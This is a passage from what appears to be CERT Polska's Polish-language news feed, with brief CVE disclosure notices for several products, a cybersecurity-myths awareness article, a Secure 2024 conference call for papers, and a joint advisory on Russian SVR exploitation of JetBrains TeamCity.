&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu &lt;a href="https://www.kofax.com/products/capture"&gt;Kofax Capture&lt;/a&gt; i koordynował proces ujawniania informacji. Atakujący może spreparować link, który – gdy zostanie użyty przez zalogowanego użytkownika – spowoduje wykonanie kodu JavaScript. Powodem jest niepoprawna walidacja danych przesyłanych metodą POST w końcówce "/sofer/DocumentService.asc/SaveAnnotation". Podatności nadany został identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-5118"&gt;CVE-2023-5118&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nie udało nam się skontaktować z producentem oprogramowania w celu potwierdzenia zakresu podatnych wersji. Otrzymaliśmy informację od zgłaszających, że podatność została usunięta w wersji oprogramowania powyżej 11.1.x. Poprzednie wersje również mogą być podatne, jednak nie zostało to potwierdzone. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Dawidowi Małeckiemu oraz Sławomirowi Zakrzewskiemu z firmy AFINE.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu TCExam</title><link href="https://cert.pl/posts/2024/01/CVE-2023-6554/" rel="alternate"></link><published>2024-01-11T08:00:00+01:00</published><updated>2024-01-11T08:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-11:/posts/2024/01/CVE-2023-6554/</id><summary type="html">W otwartoźródłowym oprogramowaniu TCExam wykryto podatność (CVE-2023-6554).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł w otwartoźródłowym projekcie &lt;a href="https://tcexam.org/"&gt;TCExam&lt;/a&gt; podatność pozwalającą na nieuprawniony dostęp do chronionej części informacji, tj. odpowiedzi do egzaminów. Podatność ta objawiała się w przypadku niezastosowania dodatkowego zabezpieczenia chroniącego folder "admin" przed dostępem z internetu, np. za pomocą mechanizmu basic authentication.&lt;/p&gt;
&lt;p&gt;Podatności nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-6554"&gt;CVE-2023-6554&lt;/a&gt;. Została ona naprawiona w wersji 15.1.0 oprogramowania TCExam.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu TasmoAdmin</title><link href="https://cert.pl/posts/2024/01/CVE-2023-6552/" rel="alternate"></link><published>2024-01-08T20:00:00+01:00</published><updated>2024-01-08T20:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-08:/posts/2024/01/CVE-2023-6552/</id><summary type="html">W otwartoźródłowym oprogramowaniu TasmoAdmin wykryto podatność open redirect (CVE-2023-6552).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł w otwartoźródłowym projekcie &lt;a href="https://github.com/TasmoAdmin/TasmoAdmin"&gt;TasmoAdmin&lt;/a&gt; podatność typu open redirect. Atakujący jest w stanie spreparować link z odpowiednią wartością parametru "current", który, w przypadku użycia przez ofiarę, przenosi ją na dowolny podany przez atakującego adres.&lt;/p&gt;
&lt;p&gt;Podatności nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-6552"&gt;CVE-2023-6552&lt;/a&gt;. Została ona naprawiona w wersji &lt;a href="https://github.com/TasmoAdmin/TasmoAdmin/releases/tag/v3.3.0"&gt;3.3.0&lt;/a&gt;.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu PrestaShop Google Integrator</title><link href="https://cert.pl/posts/2024/01/CVE-2023-6921/" rel="alternate"></link><published>2024-01-08T20:00:00+01:00</published><updated>2024-01-08T20:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-08:/posts/2024/01/CVE-2023-6921/</id><summary type="html">W oprogramowaniu PrestaShop Google Integrator firmy PrestaShow wykryto podatność typu SQL injection (CVE-2023-6921).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu &lt;a href="https://prestashow.pl/pl/moduly-prestashop/28-prestashop-google-integrator-ga4-gtm-ads-remarketing.html"&gt;PrestaShow Google Integrator&lt;/a&gt; i uczestniczył w jej koordynacji. Podatność pozwala na pozyskanie lub zmianę informacji z bazy danych poprzez umieszczenie polecenia w jednym z ciasteczek. 
Podatność, której nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-6921"&gt;CVE-2023-6921&lt;/a&gt;, została potwierdzona przez producenta i naprawiona w wersji 2.1.4. Każdy użytkownik modułu w wersji poniżej 2.1.4 może pobrać darmową aktualizację pluginu z konta PrestaShow.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Piotrowi Zdunkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Cyberbombki - podsumowanie</title><link href="https://cert.pl/posts/2024/01/cyberbombki/" rel="alternate"></link><published>2024-01-05T11:10:00+01:00</published><updated>2024-01-05T11:10:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-05:/posts/2024/01/cyberbombki/</id><summary type="html">Okres świąteczny powoli dobiega końca, zatem najwyższy czas ostatecznie rozprawić się z cyberbombkami. W grudniu przygotowaliśmy dla Was cykl „Rozbrajamy cyberbombki”, w którym obalaliśmy najpopularniejsze mity dotyczące cyberbezpieczeństwa.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}

.article .password {
    font-weight: bold;
    display: block;
    margin-left: 2em;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/01/cyberbombki/thumbnail.png" /&gt;&lt;/p&gt;
&lt;p&gt;Okres świąteczny powoli dobiega końca, zatem najwyższy czas ostatecznie rozprawić się z cyberbombkami.&lt;/p&gt;
&lt;p&gt;W grudniu przygotowaliśmy dla Was cykl „Rozbrajamy cyberbombki”, w którym obalaliśmy najpopularniejsze mity dotyczące cyberbezpieczeństwa.&lt;/p&gt;
&lt;p&gt;Z naszych mediów społecznościowych mogliście dowiedzieć się:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dlaczego zielona kłódka przy adresie strony nie gwarantuje bezpieczeństwa&lt;/li&gt;
&lt;li&gt;Dlaczego w roku 2023/2024 nie trzeba obawiać się publicznych sieci WiFi&lt;/li&gt;
&lt;li&gt;Dlaczego częsta zmiana hasła nie podnosi poziomu bezpieczeństwa.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;W tym tekście chcemy rozwinąć powyższe tematy, ale też rozbroić naszą ostatnią cyberbombkę:&lt;/p&gt;
&lt;p&gt;Czy temat cyberbezpieczeństwa dotyczy każdego?&lt;/p&gt;
&lt;h2&gt;Kłódka to (nie) bezpieczeństwo&lt;/h2&gt;
&lt;p&gt;Na początek wróćmy do zielonej kłódki. Popularny mit głosi, że jeśli obok adresu w przeglądarce widnieje symbol zielonej kłódki to jesteśmy bezpieczni.
To niestety nieprawda.&lt;/p&gt;
&lt;p&gt;Zacznijmy od początku. Czym w ogóle jest ta zielona kłódka?&lt;/p&gt;
&lt;p&gt;Zielona kłódka przy adresie strony informuje o tym, że połączenie z serwerem jest szyfrowane, ponieważ strona posiada certyfikat TLS.&lt;/p&gt;
&lt;p&gt;Tyle tylko, że certyfikat TLS jest bardzo łatwy do uzyskania i można dostać go za darmo. Z jednej strony to bardzo dobrze, bo rośnie ogólny poziom bezpieczeństwa sieci. Ale z drugiej strony sprawia to, że większość stron phishingowych ma adres zaczynający się od https i poprzedzony kłódką.&lt;/p&gt;
&lt;p&gt;Ten paradoks zauważyli nawet twórcy przeglądarki Google Chrome, którzy mylący symbol kłódki postanowili zastąpić symbolem ustawień, który ma zachęcać użytkowników do zapoznania się z informacjami dotyczącymi odwiedzanej strony.&lt;/p&gt;
&lt;p&gt;Zatem złota zasada: ważny jest adres odwiedzanej strony, nie to czy znajduje się przy nim kłódka.&lt;/p&gt;
&lt;h2&gt;Publiczne &lt;s&gt;nie&lt;/s&gt; znaczy bezpieczne&lt;/h2&gt;
&lt;p&gt;Temat certyfikatów naturalnie prowadzi nas do zagadnienia publicznych sieci WiFi. Nie widzicie zależności? Nie szkodzi, o tym właśnie będziemy pisać.&lt;/p&gt;
&lt;p&gt;Jak to jest z tym publicznym WiFi? W powszechnej świadomości utarło się przekonanie, że używanie takiej otwartej sieci w kawiarni, hotelu lub na lotnisku to proszenie się o kłopoty. A konkretnie? Że atakujący mogą wtedy podsłuchać nasz ruch i wykraść nasze hasła. &lt;/p&gt;
&lt;p&gt;I owszem. Tak &lt;strong&gt;BYŁO&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Obecnie praktycznie cały ruch w Internecie jest szyfrowany właśnie za pomocą certyfikatów TLS, tak to dokładnie te od zielonych kłódek. Zatem dane, które można podsłuchać w publicznej sieci będą zaszyfrowane. A zaszyfrowane dane bez odpowiedniego klucza to po prostu nic niewart bełkot.&lt;/p&gt;
&lt;h2&gt;Hasła – nowsze nie znaczy bezpieczniejsze&lt;/h2&gt;
&lt;p&gt;Mieliśmy sporo pomysłów na tytuł tego rozdziału np.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hasła, niech ktoś zatrzyma tę karuzelę śmiechu&lt;/li&gt;
&lt;li&gt;Dirty securing, czyli wirujące hasła&lt;/li&gt;
&lt;li&gt;Nowsze jest zawsze lepsze, a ta zasada jest najstarsza, czyli jest najlepsza &lt;em&gt;(Jak poznałem waszą matkę)&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To o co chodzi z tymi hasłami? Badania dowiodły, że wymuszona cykliczna zmiana hasła sprawia, że staje się ono coraz prostsze. Czyli jest zupełnie odwrotnie niż wyobrażają sobie specjaliści od bezpieczeństwa w instytucjach, które wymagają takich zmian.&lt;/p&gt;
&lt;p&gt;Nikt lub prawie nikt nie zmienia hasła:&lt;/p&gt;
&lt;p&gt;&lt;span class="password"&gt;vvpE_fRR9HXt&lt;/span&gt;
na
&lt;span class="password"&gt;.!JNP@R8ktMW&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;To, co robi większość użytkowników wygląda raczej tak:&lt;/p&gt;
&lt;p&gt;&lt;span class="password"&gt;Moje_haslo1&lt;/span&gt;
na
&lt;span class="password"&gt;Moje_haslo2&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Lub bardziej kreatywnie:&lt;/p&gt;
&lt;p&gt;&lt;span class="password"&gt;MojeBezpieczneHaslo1Styczen&lt;/span&gt;
na 
&lt;span class="password"&gt;MojeBezpieczneHaslo4Kwiecien&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Jako istoty ludzkie nie lubimy się przemęczać. A już szczególnie nie lubimy zapamiętywać losowych ciągów znaków. Nic więc dziwnego, że na wymóg częstej zmiany hasła reagujemy jego uproszczeniem. To naturalne.&lt;/p&gt;
&lt;p&gt;No dobrze. W takim razie jak pozostać w zgodzie z naszą ludzką naturą, a jednocześnie używać bezpiecznych haseł?&lt;/p&gt;
&lt;p&gt;Trzy zasady:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Najlepsze hasło to kombinacja kilku słów np. NaKolacjeZjemZielonePomidory&lt;/li&gt;
&lt;li&gt;Różne hasła do różnych usług&lt;/li&gt;
&lt;li&gt;Weryfikacja dwuetapowa&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Lub &lt;strong&gt;jedna złota zasada&lt;/strong&gt;, czyli korzystanie z managera haseł.&lt;/p&gt;
&lt;p&gt;Jeśli interesuje was temat haseł, to zajrzyjcie do naszego poradnika, który znajdziecie &lt;a href="https://cert.pl/bezpieczne-hasla"&gt;tutaj&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wreszcie nadszedł czas na ostatnią – sylwestrową cyberbombę.&lt;/p&gt;
&lt;h2&gt;Tak, temat cyberbezpieczeństwa dotyczy każdego&lt;/h2&gt;
&lt;p&gt;Często słyszymy, że cyberbezpieczeństwo to temat, którym powinny martwić się duże firmy, ważne persony i, oczywiście, politycy. Tymczasem, my, zwykli zjadacze chleba możemy sobie odpuścić, bo raczej nie staniemy się celem ataku.&lt;/p&gt;
&lt;p&gt;No cóż, raczej nikt nie będzie nas śledził przez kamerkę i nie zażąda okupu za oddanie dostępu do fotek z wakacji. Ale:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Przejęcie konta na Facebooku&lt;/li&gt;
&lt;li&gt;Phishing we wszystkich jego odmianach&lt;/li&gt;
&lt;li&gt;Wyczyszczenie konta w banku&lt;/li&gt;
&lt;li&gt;Kradzież tożsamości&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To także są cyberataki. Może nie są spektakularne, ale mogą przysporzyć wielu kłopotów.&lt;/p&gt;
&lt;p&gt;Cyberprzestępstwa to nie tylko wielkie i głośne sprawy. Większość ataków opiera się na skali, czyli masowym rozsyłaniu maili lub smsów z linkami do fałszywych stron płatności. Znacie smsy o wstrzymanej paczce i maile o jedynej i niepowtarzalnej okazji na inwestycję, prawda? To właśnie cyberataki. Niby niepozorne, a jednak mogą mieć fatalne konsekwencje.&lt;/p&gt;
&lt;p&gt;Dlatego przypominamy – temat bezpieczeństwa dotyczy &lt;u&gt;wszystkich&lt;/u&gt;.&lt;/p&gt;
&lt;p&gt;I dlatego w 2024 planujemy dalej edukować i szerzyć wiedzę o cyberbezpieczeństwie i cyberhigienie. (i mamy trochę nadziei, że na naszej przyszłorocznej choince nie będzie już bombek, które rozbrajaliśmy w tym roku).&lt;/p&gt;</content><category term="News"></category><category term="cyberbombki"></category></entry><entry><title>Secure 2024 - znamy datę!</title><link href="https://cert.pl/posts/2024/01/secure-2024-cfp/" rel="alternate"></link><published>2024-01-05T11:10:00+01:00</published><updated>2024-01-05T11:10:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-05:/posts/2024/01/secure-2024-cfp/</id><summary type="html">Secure to dwudniowa konferencja poświęcona strategicznym wyzwaniom w cyberprzestrzeni. Wydarzenie odbędzie się w dniach 16-17 kwietnia w Muzeum Historii Polski w Warszawie. Tegoroczna edycja odbywa się pod hasłem "Horyzont cyberwyzwań".</summary><content type="html">&lt;p&gt;&lt;strong&gt;Secure&lt;/strong&gt; to dwudniowa konferencja poświęcona strategicznym wyzwaniom w cyberprzestrzeni. Wydarzenie odbędzie się w dniach 16-17 kwietnia w Muzeum Historii Polski w Warszawie. Tegoroczna edycja odbywa się pod hasłem &lt;em&gt;Horyzont cyberwyzwań&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;W programie konferencji są m.in. prezentacje, rozmowy i panele dyskusyjne z udziałem wysokich rangą przedstawicieli instytucji międzynarodowych, administracji publicznej i sektora prywatnego. Dzień wcześniej, 15 kwietnia, wychodząc naprzeciw potrzebie rozwijania technicznych kompetencji w obszarze cyberbezpieczeństwa przygotowujemy dla uczestników ofertę szkoleń, które pozwolą lepiej poznać mechanizmy i narzędzia dostępne dla osób dbających o ten obszar.&lt;/p&gt;
&lt;p&gt;Hasło 27. Edycji jest nieprzypadkowe. Jesteśmy na progu nowych czasów. Zmienia się technologia i jej postrzeganie. Ewoluuje także podejście do kwestii cyberbezpieczeństwa. Wiele „starych” problemów pozostaje jednak nierozwiązanych, a nowe pojawiają się już na horyzoncie. Jesteśmy świadomi, że nadchodzi era powszechnego wykorzystania AI w cyberprzestrzeni - także w sferze technik obrony, jak i ataków.&lt;/p&gt;
&lt;p&gt;Świadomi tych zmian, kolejną edycję konferencji SECURE chcemy poświęcić właśnie m.in. kwestiom związanym z coraz powszechniejszym wykorzystaniem sztucznej inteligencji w cyberświecie. SECURE to przecież pierwsza konferencja w Polsce poświęcona bezpieczeństwu teleinformatycznemu ze szczególnym zorientowaniem na bezpieczeństwo internetu czy cyberprzestrzeni. Od pierwszej edycji w 1997 naszą ambicją było poruszanie kwestii aktualnych i takie przygotowywanie agendy, by jak najlepiej odpowiadała na wyzwania, z którymi mierzą się specjaliści w branży. Dzieje się tak również dlatego, że za organizację wydarzenia odpowiada NASK i działający w ramach instytutu zespół CERT Polska, który cyberbezpieczeństwem w skali kraju zajmuje się na co dzień.&lt;/p&gt;
&lt;p&gt;Konferencję adresujemy do szerokiego grona ekspertów, agenda wydarzenia będzie zróżnicowana, a nad jej ostatecznym kształtem pracuje Rada Programowa pod przewodnictwem dyrektora Krzysztofa Silickiego. Jesteśmy jednak wciąż otwarci i zapraszamy tych, którzy są gotowi wygłosić prezentację poruszającą zagadnienia z obszarów tematycznych takich jak np.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;zagrożenia związane z AI&lt;/li&gt;
&lt;li&gt;bezpieczeństwo infrastruktury - on premise vs. chmura, obszar IT oraz OT&lt;/li&gt;
&lt;li&gt;zastosowania szeroko rozumianego AI w bezpieczeństwie&lt;/li&gt;
&lt;li&gt;reagowanie na incydenty&lt;/li&gt;
&lt;li&gt;cyberprzestępczość, przeciwdziałanie, działania organów ścigania&lt;/li&gt;
&lt;li&gt;prawo polskie i europejskie w obszarze cyberbezpieczeństwa&lt;/li&gt;
&lt;li&gt;czynnik ludzki w bezpieczeństwie, m.in. budowanie świadomości zagrożeń&lt;/li&gt;
&lt;li&gt;cyber threat intelligence oraz threat hunting&lt;/li&gt;
&lt;li&gt;ataki - podatności, szkodliwe oprogramowanie i techniki atakujących&lt;/li&gt;
&lt;li&gt;wykrywanie i analiza zagrożeń&lt;/li&gt;
&lt;li&gt;zarządzanie bezpieczeństwem w organizacji, analiza ryzyka i zwiększanie dojrzałości&lt;/li&gt;
&lt;li&gt;współpraca między podmiotami - perspektywa krajowa i międzynarodowa&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Szczegóły dotyczące zgłoszeń znajdują się tutaj: &lt;a href="https://pretalx.com/secure2024/cfp"&gt;SECURE 2024 :: pretalx&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Już wkrótce opublikujemy także agendę wydarzenia i zdradzimy nazwiska prelegentów. Stay tuned!&lt;/p&gt;
&lt;p&gt;&lt;img src="/uploads/2024/01/secure-2024-cfp/thumbnail.png" /&gt;&lt;/p&gt;</content><category term="News"></category><category term="Secure"></category><category term="2024"></category><category term="konferencja"></category></entry><entry><title>Podatność w bibliotece class.upload.php</title><link href="https://cert.pl/posts/2024/01/CVE-2023-6551/" rel="alternate"></link><published>2024-01-04T20:00:00+01:00</published><updated>2024-01-04T20:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-01-04:/posts/2024/01/CVE-2023-6551/</id><summary type="html">W otwartoźródłowej bibliotece class.upload.php wykryto podatność typu Stored XSS (CVE-2023-6551).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł w otwartoźródłowej bibliotece &lt;a href="https://github.com/verot/class.upload.php"&gt;class.upload.php&lt;/a&gt; podatność typu Stored XSS, której nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-6551"&gt;CVE-2023-6551&lt;/a&gt;. Związana jest ona z nieprawidłową walidacją przesyłanych danych.&lt;/p&gt;
&lt;p&gt;Według deklaracji autora podatność ta nie zostanie usunięta z biblioteki. Osoby korzystające z niej muszą być świadomi zagrożeń z tego wynikających i odpowiednio zabezpieczyć swoją aplikację poprzez korzystanie z whitelisty rozszerzeń plików, które można wysyłać z użyciem tej biblioteki, jak również konfigurując serwer tak, aby zawsze zwracał on rodzaj pliku na podstawie rozszerzenia. Wymienione wyżej zalecenie dodane zostały do pliku README projektu. &lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w aplikacji eWeLink firmy CoolKit Technology (Android &amp; iOS)</title><link href="https://cert.pl/posts/2023/12/CVE-2023-6998/" rel="alternate"></link><published>2023-12-30T00:00:00+01:00</published><updated>2023-12-30T00:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-12-30:/posts/2023/12/CVE-2023-6998/</id><summary type="html">W aplikacji eWeLink firmy CoolKit Technology wykryto podatność pozwalającą na ominięcie ekranu blokady (CVE-2023-6998).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu eWeLink na platformach &lt;a href="https://play.google.com/store/apps/details?id=com.coolkit"&gt;Android&lt;/a&gt; i &lt;a href="https://apps.apple.com/us/app/ewelink-smart-home/id1035163158"&gt;iOS&lt;/a&gt; oraz uczestniczył w jej koordynacji. Podatność umożliwia ominięcie ekranu blokady aplikacji.
Podatność, której nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-6998"&gt;CVE-2023-6998&lt;/a&gt;, została potwierdzona przez producenta i naprawiona w wersjach 5.2.0 na obu platformach.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Janowi Adamskiemu z Zakładu Cyberbezpieczeństwa NASK.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu MegaBIP i SmodBIP</title><link href="https://cert.pl/posts/2023/12/CVE-2023-5378/" rel="alternate"></link><published>2023-12-20T20:00:00+01:00</published><updated>2023-12-20T20:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-12-20:/posts/2023/12/CVE-2023-5378/</id><summary type="html">W oprogramowaniu MegaBIP oraz SmodBIP wykryto podatność Stored XSS (CVE-2023-5378).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł podatność typu Stored XSS w oprogramowaniu &lt;a href="http://megabip.pl/"&gt;MegaBIP&lt;/a&gt; (obecnie rozwijane) oraz &lt;a href="https://smod.pl/"&gt;SmodBIP&lt;/a&gt; (bez wsparcia), które są systemami zarządzania treścią (CMS) służące podmiotom do utrzymywania Biuletynów Informacji Publicznej (BIP). Podatność ta, której nadano identyfikator &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-5378"&gt;CVE-2023-5378&lt;/a&gt;, pozwala użytkownikowi znającemu adres panelu administracyjnego na umieszczenie w serwisie skryptu, który może zostać wykonany w przeglądarce administratora. Wśród potencjalnych konsekwencji znajduje się utworzenie nowego konta administratora, co z kolei pozwala na pełne przejęcie strony.&lt;/p&gt;
&lt;p&gt;MegaBIP w wersji 4.36.2 oraz SmodBIP w najnowszej dostępnej wersji 2.21 są podatne. Można zatem przyjąć, że wszystkie poprzednie wydania są również podatne. MegaBIP w wersji 5.08 został przetestowany i nie zawiera już tej luki, jednak nieznany jest dokładny zakres podatnych wersji.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Rosyjska Służba Wywiadu Zagranicznego (SVR) wykorzystuje podatność w oprogramowaniu TeamCity do szeroko zakrojonych działań.</title><link href="https://cert.pl/posts/2023/12/apt29-teamcity/" rel="alternate"></link><published>2023-12-13T18:00:00+02:00</published><updated>2023-12-13T18:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-12-13:/posts/2023/12/apt29-teamcity/</id><summary type="html">Zespół CERT Polska oraz Służba Kontrwywiadu Wojskowego wraz z zagranicznymi partnerami wykryły, że Rosyjska Służba Wywiadu Zagranicznego (SVR) wykorzystuje podatność CVE-2023-42793 (w JetBrains TeamCity) do szeroko zakrojonych działań, skierowanych przeciwko podmiotom wytwarzającym oprogramowanie.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Federalne Biuro Śledcze (FBI), Amerykańska Agencja Bezpieczeństwa Cybernetycznego i Infrastruktury (CISA), Narodowa Agencja Bezpieczeństwa (NSA), Brytyjskie Narodowe Centrum Bezpieczeństwa Cybernetycznego (UK NCSC), Polska Służba Kontrwywiadu Wojskowego (SKW) oraz CERT Polska (CERT.PL) wykryły, że Rosyjska Służba Wywiadu Zagranicznego (SVR) wykorzystuje podatność CVE-2023-42793 do szeroko zakrojonych działań, skierowanych przeciwko serwerom oprogramowania JetBrains TeamCity.&lt;/strong&gt;&lt;/p&gt;
&lt;div style="text-align: center"&gt;
&lt;img src="/uploads/2023/12/apt29-teamcity/logo1.png" width=100&gt;
&lt;img src="/uploads/2023/12/apt29-teamcity/logo2.png" width=100&gt;
&lt;img src="/uploads/2023/12/apt29-teamcity/logo3.png" width=100&gt;
&lt;img src="/uploads/2023/12/apt29-teamcity/logo4.png" width=100&gt;
&lt;img src="/uploads/2023/12/apt29-teamcity/logo5.png" width=200&gt;
&lt;img src="/uploads/2023/12/apt29-teamcity/logo6.png" width=200&gt;
&lt;/div&gt;

&lt;p&gt;Działania SVR trwają co najmniej od końca września 2023 roku.
Oprogramowanie JetBrains TeamCity jest używane do zarządzania i automatyzacji procesu kompilacji, budowania, testowania i wydawania oprogramowania. Dostęp do serwera TeamCity może umożliwić dostęp do kodów źródłowych, certyfikatów kryptograficznych oraz może być wykorzystany do wpłynięcia na wytwarzanie oprogramowania - co z kolei może pozwolić na manipulowanie łańcuchem dostaw oprogramowania. Choć SVR w 2020 roku przeprowadziła podobne działania przeciwko firmie SolarWinds i jej klientom, agencje stojące za publikacją nie zaobserwowały dotychczas prób wykorzystania dostępu zdobytego poprzez CVE TeamCity w podobny sposób. Zaobserwowano natomiast eskalację uprawnień, poszerzanie dostępu wewnątrz sieci, umieszczanie w systemach informatycznych dodatkowych narzędzi oraz inne działania mające na celu zagwarantowanie długotrwałego, trudnego do wykrycia dostępu do skompromitowanych systemów.&lt;/p&gt;
&lt;p&gt;Kompromitacja łańcucha dostaw oprogramowania jest jednym z najtrudniejszych do wykrycia oraz przeciwdziałania zagrożeń, choć wymaga zaangażowania znacznych zasobów po stronie wrogiej służby - nawet nie dni, ale tygodni gromadzenia cennego dostępu, prac R&amp;amp;D czy planowania. Zaufane, popularne, powszechnie używane oprogramowanie może otrzymać aktualizację która, w najprostszym scenariuszu, uruchomi u ofiar narzędzia obcej służby dające dostęp do urządzenia czy całego systemu. W bardziej skomplikowanym scenariuszu, dostęp do systemów kompilacji może zostać wykorzystany do wprowadzenia niezauważalnych modyfikacji do kodu źródłowego (jak na przykład wprowadzenie niezauważalnych z zewnątrz modyfikacji do kryptografii pozwalających na odczytanie ruchu sieciowego). Jednocześnie tego typu działania, jak pokazuje historia, mogą łatwo wymknąć się spod kontroli i spowodować ogromne szkody dla podmiotów cywilnych, gospodarki czy też bezpieczeństwa publicznego.&lt;/p&gt;
&lt;p&gt;SKW, działając wspólnie z CERT.PL oraz partnerskimi służbami specjalnymi Wielkiej Brytanii i Stanów Zjednoczonych współpracując z licznymi podmiotami prywatnymi przeciwdziałały rosyjskiej próbie uzyskania dostępu do oraz potencjalnie kompromitacji łańcucha dostaw wytwarzania oprogramowania dziesiątek podmiotów. Wspólne działania pozwoliły na identyfikację kampanii, ofiar i technik wykorzystywanych przez SVR w trakcie działań, na skuteczne zablokowanie infrastruktury wykorzystywanej do prowadzenia operacji oraz na unieszkodliwienie narzędzi wykorzystywanych przez SVR. Nie są to pierwsze ani ostatnie działania sojuszniczych służb, mające na celu ochronę bezpieczeństwa pańswta, publicznego oraz prywatnego przed nierozsądnymi, nieproporcjonalnymi działaniami Rosji.&lt;/p&gt;
&lt;p&gt;Aby zwrócić publiczną uwagę na szkodliwe i niebezpieczne działania Federacji Rosyjskiej, w dniu dzisiejszym Federalne Biuro Śledcze (FBI), Amerykańska Agencja Bezpieczeństwa Cybernetycznego i Infrastruktury (CISA), Narodowa Agencja Bezpieczeństwa (NSA), Brytyjskie Narodowe Centrum Bezpieczeństwa Cybernetycznego (UK NCSC), Polska Służba Kontrwywiadu Wojskowego (SKW) oraz CERT Polska (CERT.PL) przekazują informacje dotyczące najnowszych działań SVR, aby umożliwić i pomóc organizacjom w wykrywaniu zagrożeń oraz zabezpieczeniu własnych sieci, aby dostarczyć skompromitowanym podmiotom użytecznych wskaźników kompromitacji, a także umożliwić podmiotom z sektora cyberbezpieczeństwa ulepszenie detekcji i skuteczniejsze przeciwdziałanie aktywności SVR.&lt;/p&gt;
&lt;p&gt;Agencje stojące za publikacją rekomendują, aby wszystkie podmioty wykorzystujące oprogramowanie JetBrains, które nie wdrożyły na czas aktualizacji lub innych mechanizmów zapobiegających eksploitacji, założyły, że SVR mogła uzyskać dostęp do ich systemów informatycznych, oraz rozpoczęły proaktywny proces wykrywania zagrożenia w oparciu o zawarte w tym raporcie IoC. W przypadku podejrzenia kompromitacji systemu informatycznego, administratorzy systemów powinni rozpocząć proces reagowania na incydent oraz zgłosić ten fakt do właściwego zespołu CSIRT szczebla krajowego.&lt;/p&gt;
